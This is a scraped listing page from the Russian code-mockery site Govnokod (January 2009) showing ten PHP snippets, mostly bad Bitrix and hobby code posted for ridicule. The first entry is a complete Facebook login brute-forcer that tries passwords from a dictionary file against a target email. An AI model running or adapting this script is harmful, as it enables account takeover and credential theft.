1. PHP / Говнокод #450

    +19.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <? 
    ################################ 
    # Face Book Brute Forcer 
    ################################ 
    set_time_limit(0); 
    $username ="[email protected]"; // username to brute force 
    $dictionary ="dictionary.txt"; // need dictionary to password list 
     
    function kontrol($kullaniciadi,$sifre){ 
    $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; 
    $data = "email=$kullaniciadi&pass=$sifre&login=Login" ; 
    $ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); 
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); 
    $source=curl_exec ($ch); 
    curl_close ($ch); 
    if(eregi("Home</title>",$source)){return true;} else {return false;} 
     
    } 
     
    if(!is_file($dictionary)){echo "$dictionary is not file";exit;} 
    $lines=file($dictionary); 
    echo "Attack Starting..<br>"; 
    sleep(10); 
    echo "Attack Started, brute forcing..<br>"; 
    foreach($lines as $line){ 
    $line=str_replace("\r","",$line); 
    $line=str_replace("\n","",$line); 
    if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P 
    assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;} 
    else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :  
    $line</font><br>";} 
    } 
    ?>

    guest, 23 Января 2009

    Комментарии (6)
  2. PHP / Говнокод #448

    +28

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $query = "update users set password = '{$cnf['userpass']}', email = '{$cnf['useremail']}' where login = 'root'";
    if (mysql_query($query, $link) === false) {
         throw new Exception(mysql_error($link));
    }
    mysql_close($link);

    удалить)

    guest, 23 Января 2009

    Комментарии (1)
  3. PHP / Говнокод #447

    +16.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    <?php
    $openchatdb=fopen("chat.db","a");  -имя базы
    $chatnick=$_POST['chatnick'];
    $chatmsg=$_POST['chatmsg'];
    if(fwrite($openchatdb,date("d.m.Y|G:i:s ").$chatnick." ")) -формат даты
    {
    if(fwrite($openchatdb,$chatmsg.chr(10)))
    {
    echo "Сообщение отправлено<meta http-equiv='refresh' content='1;url=add.php'>"; -текст о успешной отправки сообщения
    }
    }
    else
    {
    echo "Ошибка при отправлении сообщения,поставьте файлу chat.db правва 775"; -текст ошибки чата
    }
    fclose($openchatdb);
    ?>

    guest, 23 Января 2009

    Комментарии (2)
  4. PHP / Говнокод #446

    +30.7

    1. 1
    2. 2
    if (strlen(ini_get('safe_mode'))<1)
        ...

    Система ProBid

    guest, 23 Января 2009

    Комментарии (0)
  5. PHP / Говнокод #445

    +264.4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <?php
    for($i=0;$i<10;$i++) {
    	for($i=0;$i<5;$i++) {
    		echo 'Какого х** зацикливает!!!!!!!';
    	}
    }
    ?>

    Каждый наверное наступал на эти грабли :)

    guest, 23 Января 2009

    Комментарии (51)
  6. PHP / Говнокод #444

    +23

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    <?php
    	class AppController extends Controller {
    	 
    	  var $uses = array('Config', "Cats");
    	 
    		  function beforeFilter() 
    		  {
    		    $config1 = $this->Config->find('list', array('fields'=>array('key', 'value')));
    		    $category1 = $this->Cats->findAll();
    		    
    		    $this->set(compact('config1'));
    		    $this->set(compact('category1'));
    		    
    		  }
    		  
    		  
    	}
    ?>

    тупой код =)

    guest, 23 Января 2009

    Комментарии (2)
  7. PHP / Говнокод #443

    +35.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    function ViewStar($prop){
    	switch ($prop) {
    	case 3:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	case 4:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	case 5:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	}
    }

    Только что копался в старых исходниках.... эх, не знал про str_repeat

    guest, 23 Января 2009

    Комментарии (2)
  8. PHP / Говнокод #442

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    // то что было
    
    /************************************
    return TRUE if version1 >= version2
    version1 = "XX.XX.XX"
    version2 = "XX.XX.XX"
    ************************************/
    function CheckVersion($version1, $version2)
    {
    	$arr1 = explode(".",$version1);
    	$arr2 = explode(".",$version2);
    	if (intval($arr2[0])>intval($arr1[0])) return false;
    	elseif (intval($arr2[0])<intval($arr1[0])) return true;
    	else
    	{
    		if (intval($arr2[1])>intval($arr1[1])) return false;
    		elseif (intval($arr2[1])<intval($arr1[1])) return true;
    		else
    		{
    			if (intval($arr2[2])>intval($arr1[2])) return false;
    			elseif (intval($arr2[2])<intval($arr1[2])) return true;
    			else return true;
    		}
    	}
    }
    
    // а я бы сделал вот так
    // причем при добавлении новой подверсии работоспособность не изменится
    
    function CheckVersion($version1, $version2)
    {
    	return (intval(str_replace('.','',$version1))>=intval(str_replace('.','',$version2))) ? true : false;
    }

    Просто шикарное решение от умов битрикса

    guest, 23 Января 2009

    Комментарии (6)
  9. PHP / Говнокод #441

    +11.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    function SetFileAccessPermission($path, $arPermissions, $bOverWrite=true)
    	{
    		CMain::InitPathVars($site, $path);
    		$DOC_ROOT = CSite::GetSiteDocRoot($site);
    
    		if(strlen($path) <= 0)
    			$path="/";
    		if(($p = bxstrrpos($path, "/"))!==false)
    		{
    			$path_file = substr($path, $p+1);
    			$path_dir = substr($path, 0, $p);
    		}
    		else
    			return false;
    
    		if($path_file=="" && $path_dir=="")
    			$path_file = "/";
    
    		$PERM = Array();
    		if(file_exists($DOC_ROOT.$path_dir."/.access.php"))
    			@include($DOC_ROOT.$path_dir."/.access.php");
    		
    		$FILE_PERM = $PERM[$path_file];
    		if(!is_array($FILE_PERM))
    			$FILE_PERM=Array();
    
    		if(!$bOverWrite && count($FILE_PERM)>0)
    			return true;
    
    		$bDiff = false;
    
    		$str="<?\n";
    		foreach($arPermissions as $group=>$perm)
    		{
    			if(strlen($perm) > 0)
    				$str.="\$PERM[\"".$path_file."\"][\"".$group."\"]=\"".str_replace("\"", "\\\"", $perm)."\";\n";
    			if(!$bDiff && $FILE_PERM[$group]!=$perm)
    				$bDiff=true;
    		}
    
    		foreach($PERM as $file=>$arPerm)
    		{
    			if(strval($file) !==$path_file)
    				foreach($arPerm as $group=>$perm)
    					$str.="\$PERM[\"".$file."\"][\"".$group."\"]=\"".str_replace("\"", "\\\"", $perm)."\";\n";
    		}
    
    		if(!$bDiff)
    		{
    			foreach($FILE_PERM as $group=>$perm)
    				if($arPermissions[$group]!=$perm)
    				{
    					$bDiff==true;
    					break;
    				}
    		}
    
    		$str.="?".">";
    		
    		$this->SaveFileContent($DOC_ROOT.$path_dir."/.access.php", $str);
    		$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
    		unset($this->FILE_PERMISSION_CACHE[$site."|".$path_dir."/.access.php"]);
    		
    		if($bDiff)
    		{
    			$db_events = GetModuleEvents("main", "OnChangePermissions");
    			while($arEvent = $db_events->Fetch())
    				ExecuteModuleEvent($arEvent, Array($site, $path), $arPermissions);
    		}
    		return true;
    	}

    MegaLolnii bitrix
    самое смешное с 32 строчки

    guest, 23 Января 2009

    Комментарии (4)
  10. PHP / Говнокод #440

    +33.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    <?
     function ShowImage($strImage, $iMaxW=0, $iMaxH=0, $sParams=null, $strImageUrl="", $bPopup=false, $sPopupTitle=false, $iSizeWHTTP=0, $iSizeHHTTP=0)
     {
      global $DOCUMENT_ROOT, $DB;
    
      if(!($arImgParams = CFile::_GetImgParams($strImage, $iSizeWHTTP, $iSizeHHTTP)))
       return "";
    
      if($sParams === null || $sParams === false)
       $sParams = ' border="0" ';
    
      $iMaxW = intval($iMaxW);
      $iMaxH = intval($iMaxH);
    
      $strImage = htmlspecialchars($arImgParams["SRC"]);
      $intWidth = $arImgParams["WIDTH"];
      $intHeight = $arImgParams["HEIGHT"];
      $strAlt = $arImgParams["ALT"];
    
      if($sPopupTitle===false)
       $sPopupTitle=GetMessage("FILE_ENLARGE");
    
      $file_type = GetFileType($strImage);
      switch($file_type):
       case "FLASH":
        $iWidth = $intWidth;
        $iHeight = $intHeight;
        if($iMaxW>0 && $iMaxH>0 && ($intWidth > $iMaxW || $intHeight > $iMaxH))
        {
         $coeff = ($intWidth/$iMaxW > $intHeight/$iMaxH? $intWidth/$iMaxW : $intHeight/$iMaxH);
         $iWidth = intval(roundEx($intHeight/$coeff));
         $iHeight = intval(roundEx($intWidth/$coeff));
        }
        $strReturn = '
         <object
          classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000"
          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
          id="banner"
          WIDTH="'.$iWidth.'"
          HEIGHT="'.$iHeight.'"
          ALIGN="">
           <PARAM NAME="movie" VALUE="'.$strImage.'" />
           <PARAM NAME="quality" VALUE="high" />
           <PARAM NAME="bgcolor" VALUE="#FFFFFF" />
           <embed
            src="'.$strImage.'"
            quality="high"
            bgcolor="#FFFFFF"
            WIDTH="'.$iWidth.'"
            HEIGHT="'.$iHeight.'"
            NAME="banner"
            ALIGN=""
            TYPE="application/x-shockwave-flash"
            PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
           </embed>
         </object>
         ';
        return $bPopup? $strReturn : print_url($strImageUrl, $strReturn);
    
       default:
        $strReturn = "<img src=\"".$strImage."\" ".$sParams." width=\"".$intWidth."\" height=\"".$intHeight."\" alt=\"".htmlspecialchars($strAlt)."\" />";
        if($iMaxW > 0 && $iMaxH > 0) //need to check scale, maybe show actual size in the popup window
        {
         //check for max dimensions exceeding
         if($intWidth > $iMaxW || $intHeight > $iMaxH)
         {
          $coeff = ($intWidth/$iMaxW > $intHeight/$iMaxH? $intWidth/$iMaxW : $intHeight/$iMaxH);
          $strReturn = "<img src=\"".$strImage."\" ".$sParams." width=\"".intval(roundEx($intWidth/$coeff))."\" height=\"".intval(roundEx($intHeight/$coeff))."\" alt=\"".htmlspecialchars($strAlt)."\" />";
    
          if($bPopup) //show in JS window
          {
           if(strlen($strImageUrl)>0)
           {
            $strReturn =
             '<a href="'.$strImageUrl.'" title="'.$sPopupTitle.'" target="_blank">'.
             '<img src="'.$strImage.'" '.$sParams.' width="'.intval(roundEx($intWidth/$coeff)).'" height="'.intval(roundEx($intHeight/$coeff)).' alt="'.htmlspecialchars($sPopupTitle).'" />'.
             '</a>';
           }
           else
           {
            CFile::OutputJSImgShw();
    
            $strReturn =
             "<a title=\"".$sPopupTitle."\" onClick=\"ImgShw('".AddSlashes($strImage)."','".$intWidth."','".$intHeight."', '".AddSlashes(htmlspecialcharsex(htmlspecialcharsex($strAlt)))."'); return false;\" href=\"".$strImage."\" target=\"_blank\">".
             "<img src=\"".$strImage."\" ".$sParams." width=\"".intval(roundEx($intWidth/$coeff))."\" height=\"".intval(roundEx($intHeight/$coeff))."\" /></a>";
           }
          }
         }
        }
        return $bPopup? $strReturn : print_url($strImageUrl, $strReturn);
    
      endswitch;
    
      return $bPopup? $strReturn : print_url($strImageUrl, $strReturn);
     }
    ?>

    Уникальный фрагмент кода из CMS Bitrix 7.x.
    Судя по всему его писал индус который не проверял его работы.
    Некотором будет непонятен тонкий юмор автора этого кода, но когда пытаешься решить с его помощью конкретную задачу становится совсем не смешно а наоборот обидно, за себя и толпы тысяч людей полагающих что Bitrix решение всех его проблем логика работы в котором напрочь отсутствует так же как и здравый смысл.
    Сделаю небольшой намёк. Весь фокус во взаимной зависимости параметров
    $iMaxW=0, $iMaxH=0, $strImageUrl="", $bPopup=false

    guest, 22 Января 2009

    Комментарии (3)